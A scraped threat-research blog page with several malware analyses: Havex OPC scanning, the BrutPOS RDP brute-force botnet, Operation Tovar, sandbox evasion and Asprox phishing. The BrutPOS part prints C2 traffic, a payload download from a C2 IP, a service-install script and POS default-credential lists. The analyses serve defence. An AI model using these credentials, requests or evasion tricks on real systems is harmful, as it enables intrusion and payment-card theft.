00000000 32 39 0a 66 00 66 00 30 00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010 00 30 00 66 00 66 00 30 00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020 00 30 00 66 00 66 00 30 00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030 00 30 00 66 00 66 00 30 00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040 0a 31 32 38 0a 96 26 cc 34 93 a5 4a 09 09 17 d3 .128..&.4..J….00000050 e0 bb 15 90 e8 5d cb 01 c0 33 c1 a4 41 72 5f a5 …..]…3..Ar_.00000060 13 43 69 62 cf a3 80 e3 6f ce 2f 95 d1 38 0f f2 .Cib….o./..8..00000070 56 b1 f9 5e 1d e1 43 92 61 f8 60 1d 06 04 ad f9 V..^..C.a.`…..00000080 66 98 1f eb e9 4c d3 cb ee 4a 39 75 31 54 b8 02 f….L…J9u1T..00000090 b5 b6 4a 3c e3 77 26 6d 93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0 08 6a 22 89 b7 d3 72 d4 1f 8d b6 80 2b d2 99 5d .j”…r…..+..]000000B0 61 87 c1 0c 47 27 6a 61 fc c5 ee 41 a5 ae 89 c3 a…G’ja…A….000000C0 9e 00 54 b9 46 b8 88 72 94 a3 95 c8 8e 5d fe 23 ..T.F..r…..].#000000D0 2d fb 48 85 d5 31 c7 65 f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

-Truncated-Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72 94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

Screen Shot 2014-07-17 at 12.41.27 PM

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

Screen Shot 2014-07-17 at 12.43.48 PM

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant. We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References

BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

| By , and | Botnets, Threat Intelligence, Threat Research |
Comments
0

There have been an increasing number of headlines about breaches at retailers in which attackers have made off with credit card data after compromising point-of-sale (POS) terminals. However, what is not commonly discussed is the fact that one third of these breaches are a result of weak default passwords in the remote administration software that is typically installed on these systems. [1] While advanced exploits generate a lot of interest, sometimes it’s defending the simple attacks that can keep your company from the headlines.

In this report, we document a botnet that we call BrutPOS which uses thousands of compromised computers to scan specified IP address ranges for RDP servers that have weak or default passwords in an effort to locate vulnerable POS systems. [2]

BrutPOS

It is unclear exactly how the BrutPOS malware is being propagated. We have found that the malware is being distributed (along with a considerable amount of otherwise unrelated malware) by the site destre45[.]com. The attackers may have used a distribution service provided by other cybercriminals.

When executed, the malware copies itself to:

"%USERPROFILE%\%APPDATA%\llasc.exe"

It modifies the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it will be restarted after a reboot.

The malware connects to the command and control server (C2) to report its status and receives a list of usernames/passwords and IP addresses to begin scanning.

POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212

-XyEgoZ17
content-disposition: form-data; name=”data”

{ “bad” : 0, “bruting” : false, “checked” : 1, “done” : true, “errors” : 0, “good” : 0, “goodslist” : “”, “pps” : 0.0, “threads” : 5, “v” : “0.0.0″ }

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8

{“passwords”:”backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd”,”logins”:”backupexec\r\nbackup\r\ndatacard”,”servers”:”[IP ADDRESSES REDACTED]“,”botstart”:”1″,”stamp”:1308301912,”newthreads”:5,”interval”:50}

The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials. If the infected system is able to successfully brute force an RDP server, it reports back with credentials.

In total we found five C2 servers used by the BrutPOS botnet. Three of these servers are located on the same network in Russia; one of them is located in Iran. Only two of these servers remain active at this time.

C2 Country Network Status
62.109.16.195 Russia THEFIRST-NET Active
92.63.99.157 Russia THEFIRST-NET Active
78.154.54.42 Iran BSG Inactive
82.146.34.22 Russia THEFIRST-NET Inactive
62.113.208.37 Germany DE-23MEDIA Inactive

Based on the compile times of the samples we analyzed that connect to this C2 infrastructure, this botnet was active as of February 2014.

However, one of the active C2 servers was setup on May 28 and we believe that the second was setup in early June. We were able to recover information from these two C2 servers in mid-June that allowed us to gain a better understanding of this botnet.

The attackers are able to control the botnet from a web-based administration panel. This panel provides a statistical overview of the botnet.

brutpos1

The botnet had a total of 5622 compromised computers under its control, however, only a fraction of those systems are active at any given time (179 were active when we last checked). This page also displays the “current version” of the malware and if an infected system checking in reports an earlier version a new executable will be pushed down to it.

brutpos2

The attackers are able to view the details of the infected systems under their control including the IP address and geographic location as well as status of the infected systems’ brute forcing activities (bad / good / errors / threads / version) and the timestamp of the last connection to the C2. The attackers may also specify commands such as “reload” and “delete”.

Based on the IP addresses on this page, there are 5622 infected systems spread across 119 countries.

Country

Count

Percentage
Russia

881

15.67%
India

756

13.45%
Vietnam

422

7.51%
Iran

341

6.07%
Taiwan

232

4.13%
Ukraine

151

2.69%
Turkey

139

2.47%
Serbia

115

2.05%
Egypt

110

1.96%
Mexico

106

1.89%

brutpos3

This page lists the ranges of IP addresses that the attackers can specify to be scanned for RDP access and brute forced.

brutpos4

In total, the attackers specified 57 IP address ranges the majority of which (32) are located in the U.S.

brutpos5

The attackers can specify the user names and passwords that the infected systems use to brute force available RDP servers. Some of the usernames and password indicate that the attackers are looking for specific brands of POS systems (such as Micros). [3]

Usernames Passwords
admin
administrator
backup
backupexec
data
datacard
manager
micros
microssvc
pos		 Admin
admin
Administrat0r
Administrator
administrator
backup
backupexec
client
client1
datacard
@dm1n
@dmin
micros
p0s
Passw0rd
Passw0rd1
Password
Pass@word
password
Password1
Pa$$w0rd1
Pa$$word
pa$$word
pos
P@ssw0rd
p@ssword
p@ssword1
p@$$w0rd

brutpos6

When an infected system reports back a successful RDP login, the attackers store the username/password and IP address of the RDP server as well as the IP address of the infected system that successfully brute forced it.

brutpos7

Of the 60 “good” RDP servers listed by the attackers the majority (51) are located in the U.S. The most common username was “administrator” (36) and the most common passwords were “pos” (12) and “Password1” (12).

Payment Card Theft

During our investigation, we discovered another executable that is potentially run on systems once credentials are obtained (e.g. 4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract payment card information stored within running processes. It has two distinct code paths depending on its ability to get debug permissions by calling RtlAdjustPrivilage(0×14,1,0…). This may be an attempt to identify a POS configuration. If it succeeds in getting debug permissions, it downloads the executable and executes it:


GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22

If the malware fails to get debug permissions, it copies itself to %WINDIR%\lsass.exe and installs itself as a service. The following script is used to create and start the service:

sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat

When running as a service, the program scans the memory of all processes with the exception of csrss.exe and conhost.exe for potential payment card information. Candidates are verified using the Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using FTP to the server 62.109.16.195.

Before connecting to the FTP server, the implant connects to smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP address from the EHLO response. winsrv.sys is uploaded to the FTP serving using a filename consisting of a capital character followed by the IP address. The capital character prefixed to the filename is initialized to ‘A’ and is incremented through ‘Z’ for each new file. If the IP address isn’t obtained from smtp[.]gmail[.]com, a random four digit number is generated.

Attribution

While there is insufficient information to determine attribution, there is some information which indicates that the attackers are in Eastern Europe, probably Russia or Ukraine. In addition to the Russian language interface, we recovered web server logs and parsed out the six IP addresses that used the administration interface.

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In both cases the “User-Agent” indicates that the requests were coming from an Alcatel mobile phone running Android:

"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also used. However, the “User-Agent” in this case was FireFox:

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

There were also connections from an IP range in Russia assigned to the network “Macroregional_South” in Volvograd.

In addition to these connections there were also connections from the U.K. and France, however, these connections were made using VPN services provided by atomintersoft.com and vpnlux.net.

Honeypot

In order to understand the attacker’s intentions, we decided to setup a Windows 2008 R2 Server with POS software and allow the attackers to compromise it. In addition to POS software, we also put documents with fake credit card information on the Desktop. By mimicking the traffic generated by the infected systems under the attackers control, we were able send a username and password combination of “micros” and “admin” to the C2. We then waited for the attackers to connect.

We saw the attackers connect to the RDP instance 27 minutes after the fake username and password combination were sent to the C2. The attackers connected from three IP addresses. One of the IP addresses was in the same Ukrainian IP address range assigned to PEOPLE-NET that we saw in the C2 logs. Another was the same VPN based in the UK, while the third was assigned to INETHN in Honduras.

After connecting, the attackers immediately opened the document containing fake credit card information, then exited the system shortly after. The second access attempt occurred 4 minutes later, with little activity. The third access occurred 18 minutes later. The attackers, on the third access, then attempted to open the POS software; which was unsuccessful. The fourth access happened two minutes later, with very little activity. The fifth and final access happened approximately 4 hours later, which led the attackers to format the drive, thus attempting to wipe data trails.

Conclusion

POS systems remain a high priority target for cybercriminals. Based on a simple scanning attack, the attackers in this case were able leverage their botnet of over 5000 machines in order to acquire access to 60 systems in two weeks.

While new malware and more advanced attacks are taking place, standard attacks against weak passwords for remote administration tools presents a significant threat.

Notes

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

2. The BrutPOS malware was initially identified in March 2014 but the full scope of the botnet was still unknown at that time. http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

3. Micros sells POS systems for the retail and hospitality industries http://www.micros.com/.

Acknowledgements

We would like to thank Josh Gomez for his help and support.

Samples

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

Operation Tovar: The Latest Attempt to Eliminate Key Botnets

| By | Threat Intelligence, Threat Research |
Comments
0

Coordinated botnet disruptions have increased in pace and popularity over the last few years as more private companies work with international law enforcement agencies to combat malware infections on a grand scale. Operation Tovar, announced on June 2 2014, is the latest to make headlines. The target of the investigation, Evgeniy Mikhailovich Bogachev, was indicted by the Department of Justice and is wanted by the FBI for his role as alleged leader of the Gameover ZeuS and CryptoLocker botnets. Four other defendants were indicted using their pseudonyms. Though Bogachev’s current activities aren’t known, the Operation Tovar task force has maintained control of the botnet infrastructure and remediation efforts are ongoing.

While new malware strains are released with increasing frequency, it’s easy to forget why Gameover and CryptoLocker are worthwhile targets for takedown operations. Both offered more advanced features than their peers and typified the increasingly sophisticated cybercriminal enterprises behind botnets.

Gameover ZeuS

Since the ZeuS source code was released in 2011, several new variants have appeared in the wild. Citadel, KINS, ICE IX, and Gameover have all improved upon the basic ZeuS model by introducing new features, using better encryption, and modifying command and control (C2) communication methods.

Gameover uses a peer-to-peer (P2P) system for C2 communication. Though other P2P botnets such as Kelihos exist, Gameover is notable for its use of proxy nodes to introduce complexity into the standard P2P infrastructure. These proxy nodes are specific machines designated as relay points through which the botnet operators send commands and receive stolen information. This minimizes the number of systems that actually communicate with C2 servers. C2 commands are signed using RSA-2048 and encrypted with RC4 making it very difficult to tamper with the botnet.

Additionally, Gameover maintains a failsafe mechanism: a domain generation algorithm (DGA) that produces 1,000 domains each week. This feature enables the operators to maintain control of their botnet even if the P2P infrastructure is compromised. The DGA produces long, nonsensical strings at one of six top-level domains: .com, .net, .org, .biz, .info, and .ru that can be registered and used to send commands to the botnet.

ZeuS and all its variants are information-stealing trojans. We refer to them as banking trojans because that’s where they excel and Gameover is no exception. Gameover is able to trick the user into handing over personal information and can even defeat two-factor authentication. It accomplishes this by injecting custom code into the browser when a victim visits certain websites. Gameover’s arsenal of bank account takeover tools includes 1,500 web injections that were custom-made to target the websites of more than 700 financial institutions worldwide.

In addition to its exceptional abilities as a banking trojan, Gameover is capable of a wider variety of data theft activities. An Operation Tovar task force member, speaking to Brian Krebs on the condition of anonymity, said they have evidence of additional harvested data and that Gameover targeted proprietary information.

CryptoLocker

Not content with merely engaging in widespread banking credential and information theft, the Gameover criminal operators decided to maximize returns by infecting systems with CryptoLocker. It is a type of ransomware that encrypts the files on infected machines and then demands a ransom of hundreds of dollars in order to receive a decryption key. Typically, victims were given 72 hours to pay the ransom in bitcoins or risk losing their data.

Unwilling to miss out on any opportunity to generate revenue, the criminal operators set up a website to assist victims in paying the ransom in bitcoins. Through this website, victims could complete the transaction and track the status of their “order” – the ransom payment in exchange for the decryption key. Some victims, unwilling or unable to pay the ransom, missed the 72-hour deadline only to see the ransom demand increase fivefold.

Law enforcement officials discouraged people from paying the ransom since it would fund a criminal organization, but without back ups many victims had little choice but to pay. A US police department paid $750 for two Bitcoins as ransom after CryptoLocker was installed on a system used for police reports and booking photos. CryptoLocker encrypts files using asymmetric encryption, making use of a public and a private key. Without the private key, located on the criminals’ servers, infected files probably cannot be decrypted.

The Target

Operation Tovar’s investigation began with a server in the UK. A trail of wire transfers, money mules, criminal servers, and at least one confidential source led investigators to Bogachev. He is a Russian citizen wanted on charges of conspiracy to participate in racketeering activity, bank fraud, conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to violate the Identity Theft and Assumption Deterrence Act, aggravated identity theft, conspiracy, computer fraud, wire fraud, and money laundering. The FBI estimates the financial toll of Gameover at over $100 million and another estimate is that more than $27 million in ransom payments were made in the first two months of CryptoLocker’s distribution.

Obtaining an indictment against a Russian national who will likely never be extradited to the United States isn’t sufficient to put an end to a criminal organization. In 2011, Russian citizen Aleksandr Andreevich Panin was indicted in the US on 23 counts related to the development and distribution of SpyEye but was not arrested until 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. The Russian government, in a travel warning to its citizens, specifically mentions Panin and recommends that Russians facing legal action in the US should refrain from travelling internationally.

The Takeover

Drawing on the technical expertise of its members, the Operation Tovar task force was able to exploit flaws in the design of Gameover’s P2P network to manipulate the peer list and redirect traffic to nodes under its control. The specific technical details have not been released to the public in order to prevent the criminals from regaining control.

Gameover’s failsafe mechanism, the DGA that was supposed to have allowed the criminals to maintain control in the event of a P2P disruption, was reverse engineered by task force members. The FBI then obtained a restraining order to redirect any attempts to register those domains to a government-run server. Furthermore, US service providers are required to block connections to the Russian .ru domains generated by the DGA since the US has no jurisdiction to prevent their registration.

CryptoLocker also used a DGA for determining C2 locations. The algorithm was reverse engineered and the C2 servers were identified and seized by the Operation Tovar task force. Due to the use of an asymmetric key algorithm, CryptoLocker victims whose files remain encrypted currently have no avenue of remediation.

Operation Tovar’s success can be measured by two factors: (1) Have the criminals regained control of their botnets and (2) Is the malware being removed from infected machines? While we can’t say for certain that the people responsible for Gameover and CryptoLocker have ceased all criminal activity, they have not regained control of the network disrupted by Operation Tovar. Based on this fact alone, the task force should be commended. Successful botnet disruptions are very challenging. Attempted takeovers over Kelihos have been undone after only two weeks.

The remediation of infected machines is an even more difficult task. US-CERT has published a list of recommended actions and resources, and a number of the private companies involved in Operation Tovar have released scanning tools. The onus remains on individuals and organizations to use these resources to determine if they are infected and take the appropriate steps to remediate the problem. Statistics published by The Shadowserver Foundation show the number of machines infected with Gameover has remained essentially flat since the takeover. There are simply not enough people taking advantage of the resources available to remediate their systems.

tovar1

The task force has taken control of the C2 network and now some people may believe that the malware is neutered and no further action is required. It is important to remember that any malware is unauthorized code running on a computer. The integrity of the system is still compromised, regardless of who is in control of the botnet.

Turing Test in Reverse: New Sandbox-Evasion Techniques Seek Human Interaction

| By and | Advanced Malware, Threat Intelligence, Threat Research |
Comments
0

Last year, we published a paper titled Hot Knives Through Butter, Evading File-Based Sandboxes. In this paper, we explained many sandbox evasion methods-and today’s blog post adds to our growing catalog.

In the past, for example, we detailed the inner workings of a Trojan we dubbed UpClicker. The malware was notable for a then-novel technique to evade automated dynamic analysis systems (better known as sandboxes). UpClicker activates only when the left mouse button is clicked and released — a sign that it is running on a real, live, human-controlled PC rather than within an automated sandbox.

If the malware determines it is running in a sandbox, it lies dormant so that the sandbox doesn’t observe any suspicious behavior. Once the sandbox incorrectly clears it as a benign file, UpClicker goes on to a real computer to do its dirty work.

Last year, our colleague Rong Hwa shared the technical details of another sandbox-detecting Trojan called BaneChant. Like UpClicker, BaneChant uses human interaction to ascertain whether it is running in a virtual-machine environment, activating only after it detects more than three left clicks.

Since then, we’ve seen a spate of new malware that pushes the concept further. The newest sandbox-evading malware counters recent efforts to mimic human behavior in sandbox environments.

This blog post describes three tactics that FireEye has discovered in recent attacks.

Sandbox evasion: a primer

Most sandbox-evasion techniques fall into one of three categories:

Human interaction. This category includes malware that requires certain actions on the user’s part (a sign that the malicious code is running on a real-live PC rather than within an automated sandbox).

Configuration specific. Malware in this category takes advantage of the inherent constraints of file-based sandboxes. For example, knowing that a sandbox can spend, say, five minutes running suspicious code for analysis, malware creators can create code that automatically lies dormant for a longer period. If the code is still running after that, it’s probably not in a sandbox.

Environment specific. In this category, malware checks for telltale signs that its code is running in widely used VM environments. It checks for obscure files unique to VMware, for instance, or VM-specific hardware drivers.

The first category of sandbox evasion is one of the trickiest to counter. To fool sandbox-detecting malware, some vendors now simulate mouse movement and clicks in their virtual-machine environments to mimic human activity. But malware authors are upping the ante with even more sophisticated sandbox detection and evasion techniques.

To scroll is human

One malware we discovered lies dormant until the user scrolls to the second page of a Rich Text Format (RTF) document. So simulating human interaction with random or preprogrammed mouse movements isn’t enough to activate its malicious behavior.

Here’s how it works:

RTF documents consist of normal text, control words, and groups. Microsoft’s RTF specification includes a shape-drawing function, which includes a series of properties using the following syntax:

{\sp {\sn propertyName } {\sv propertyValueInformation}}

In this code, \sp is the control word for the drawing property, \sn is the property name, and \sv contains information about the property value. The code snippet in Figure 1 exploits a vulnerability that occurs when using an invalid \sv value for the pFragments shape property.

turing1

Figure 1: Code exploiting vulnerability in the RTF pFragments property

A closer look at the exploit code reveals a series of paragraph marks (./par) that appears before the exploit code.

turing2

Figure 2: A series of \.par (paragraph marks) that appears before the exploit code

The repeated paragraph marks push the exploit code to the second page of the RTF document. So the malicious code does not execute unless the document scrolls down to bring the exploit code up into the active window—more likely a deliberate act by a human user than simulated movement in a virtual machine.

When the RTF is scrolled down to the second page, then only the exploit code triggers, and as shown in Figure 3.0, it makes a call to URLDownloadToFileA function from the shell code to download an executable file.

turing3

Figure 3: Exploit code

In a typical file-based sandbox, where any mouse activity is random or preprogrammed, the RTF document’s second page will never appear. So the malicious code never executes, and nothing seems amiss in the sandbox analysis.

Two clicks and you’re out

Another sandbox-evading attack we spotted in recent attacks waits for more than two mouse clicks before executing. The two-click condition aims to more accurately determine whether an actual person is operating the targeted machine—most people click mouse buttons many times throughout the day—or a one-time programmed click designed to counter evasion techniques.

Here’s how this technique works:

The malware invokes the function Get AsyncKeyState in a loop. The function checks whether any mouse buttons are clicked by looking for the parameter 0×01, 0×02, or 0×04. (The parameter 0×01 is the virtual key code for the mouse’s left button, 0×02 is the code for the right button, and 0×04 is the code of the middle button.)

The instruction “xor edi edi” sets the edi to 0. If any of the buttons is pressed, the code invokes the instruction “inc edi,” as shown in Figure 4. After that, the instruction “cmp edi,2” checks whether the left, right or middle mouse buttons have been clicked more than two times. If so, code exits from the loop and gets to its real work. Otherwise, it stays under the radar, continuously checking for more mouse clicks.

turing4

Figure 4: Assembly code for evasion employing left, middle or right mouse clicks

Slow mouse, fast sandbox

Another recently discovered evasion technique involves checking for suspiciously fast mouse movement. To make sure an actual person is controlling the mouse or trackpad, malware code checks how quickly the cursor is moving. Superhuman speed is a telltale sign that the code is running in a sandbox.

This technique also makes use of the Windows function GetCursorPos, which retrieves the system’s cursor position. In the example malware code shown in Figure 5, GetCursorPos returns 614 for the x-axis value and 185 for the y-axis value.

turing5

Figure 5: Malware making first call to API GetCursorPos

After few instructions, malicious code again calls GetCursorPos to check whether the cursor position has changed. This time the function returns x= 1019 and y = 259, as shown in Figure 6.

turing6

Figure 6: Malware making second call to API GetCursorPos

A few instructions after the second GetCursorPos call, the malware code invokes the instruction “SUB EDI, DWORD PTR DS:[410F15]”. As shown in the figure 5.0, the value in EDI is 0×103 (259 in decimal) and DS:[410F15] = 0xB9 (185 in decimal). The value 259 and 185 are the Y coordinates retrieved from the two GetCursorPos calls. If the difference between the two Y-coordinate measurements is not 0, then the malware terminates.

turing7

Figure 7: Subtracting the Y coordinates to detect whether the cursor is moving too quickly to be human-controlled

In other words, if the cursor has moved between the two GetCursorPos calls (which are only a few instructions apart), then the malware concludes that the mouse movement is simulated. That’s too fast to be a real-world mouse or track pad in normal use, so the code must be running in a sandbox.

A growing challenge

Cybersecurity is a constant arms race. Simulating mouse movement and clicks is not enough to fool the most advanced sandbox-evading malware. Now malware authors are incorporating real-world behaviors into their evasion strategies.

Simulating these behaviors—the way actual people scroll documents, click the mouse button, and move the cursor— is a huge challenge for cybersecurity. Anticipating future evasion techniques might be even tougher. Expect malware authors to employ more novel techniques that look for that human touch.

In the paper “Hot Knives Through Butter: Evading File Based Sandboxes,” we’ve outlined 15 prior evasion techniques that have been used by advanced malware in real attacks to bypass file based sandboxes. We plan to continue updating the evasion series as we come across new techniques used by the latest threats and advanced malwares to bypass file based sandboxes.

A Not-So Civic Duty: Asprox Botnet Campaign Spreads Court Dates and Malware

| By and | Advanced Malware, Botnets, Threat Intelligence, Threat Research |
Comments
0

Executive Summary

FireEye Labs has been tracking a recent spike in malicious email detections that we attribute to a campaign that began in 2013. While malicious email campaigns are nothing new, this one is significant in that we are observing mass-targeting attackers adopting the malware evasion methods pioneered by the stealthier APT attackers. And this is certainly a high-volume business, with anywhere from a few hundred to ten thousand malicious emails sent daily – usually distributing between 50 and 500,000 emails per outbreak.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, FireEye Labs discovered that each and every major spike in email blasts brought a change in the attributes of their attack. These changes have made it difficult for anti-virus, IPS, firewalls and file-based sandboxes to keep up with the malware and effectively protect endpoints from infection. Worse, if past is prologue, we can expect other malicious, mass-targeting email operators to adopt this approach to bypass traditional defenses.

This blog will cover the trends of the campaign, as well as provide a short technical analysis of the payload.

Campaign Details

fig1

Figure 1: Attack Architecture

The campaign first appeared in late December of 2013 and has since been seen in fairly cyclical patterns each month. It appears that the threat actors behind this campaign are fairly responsive to published blogs and reports surrounding their malware techniques, tweaking their malware accordingly to continuously try and evade detection with success.

In late 2013, malware labeled as Kuluoz, the specific spam component of the Asprox botnet, was discovered to be the main payload of what would become the first malicious email campaign. Since then, the threat actors have continuously tweaked the malware by changing its hardcoded strings, remote access commands, and encryption keys.

Previously, Asprox malicious email campaigns targeted various industries in multiple countries and included a URL link in the body. The current version of Asprox includes a simple zipped email attachment that contains the malicious payload “exe.” Figure 2 below represents a sample message while Figure 3 is an example of the various court-related email headers used in the campaign.

fig2

Figure 2 Email Sample

fig3

Figure 3 Email Headers

Some of the recurring campaign that Asporox used includes themes focused around airline tickets, postal services and license keys. In recent months however, the court notice and court request-themed emails appear to be the most successful phishing scheme theme for the campaign.

The following list contains examples of email subject variations, specifically for the court notice theme:

  • Urgent court notice
  • Notice to Appear in Court
  • Notice of appearance in court
  • Warrant to appear
  • Pretrial notice
  • Court hearing notice
  • Hearing of your case
  • Mandatory court appearance

The campaign appeared to increase in volume during the month of May. Figure 4 shows the increase in activity of Asprox compared to other crimewares towards the end of May specifically. Figure 5 highlights the regular monthly pattern of overall malicious emails. In comparison, Figure 6 is a compilation of all the hits from our analytics.

fig4

Figure 4 Worldwide Crimeware Activity

fig5

Figure 5 Overall Asprox Botnet tracking

fig6

Figure 6 Asprox Botnet Activity Unique Samples

These malicious email campaign spikes revealed that FireEye appliances, with the support of DTI cloud, were able to provide a full picture of the campaign (blue), while only a fraction of the emailed malware samples could be detected by various Anti-Virus vendors (yellow).

fig7

Figure 7 FireEye Detection vs. Anti-Virus Detection

By the end of May, we observed a big spike on the unique binaries associated with this malicious activity. Compared to the previous days where malware authors used just 10-40 unique MD5s or less per day, we saw about 6400 unique MD5s sent out on May 29th. That is a 16,000% increase in unique MD5s over the usual malicious email campaign we’d observed. Compared to other recent email campaigns, Asprox uses a volume of unique samples for its campaign.

fig8

Figure 8 Asprox Campaign Unique Sample Tracking

fig9

Figure 9 Geographical Distribution of the Campaign

fig10

Figure 10 Distribution of Industries Affected

Brief Technical Analysis

fig11

Figure 11 Attack Architecture

Infiltration

The infiltration phase consists of the victim receiving a phishing email with a zipped attachment containing the malware payload disguised as an Office document. Figure 11 is an example of one of the more recent phishing attempts.

fig12

Figure 12 Malware Payload Icon

Evasion

Once the victim executes the malicious payload, it begins to start an svchost.exe process and then injects its code into the newly created process. Once loaded into memory, the injected code is then unpacked as a DLL. Notice that Asprox uses a hardcoded mutex that can be found in its strings.

  1. Typical Mutex Generation
    1. “2GVWNQJz1″
  2. Create svchost.exe process
  3. Code injection into svchost.exe

Entrenchment

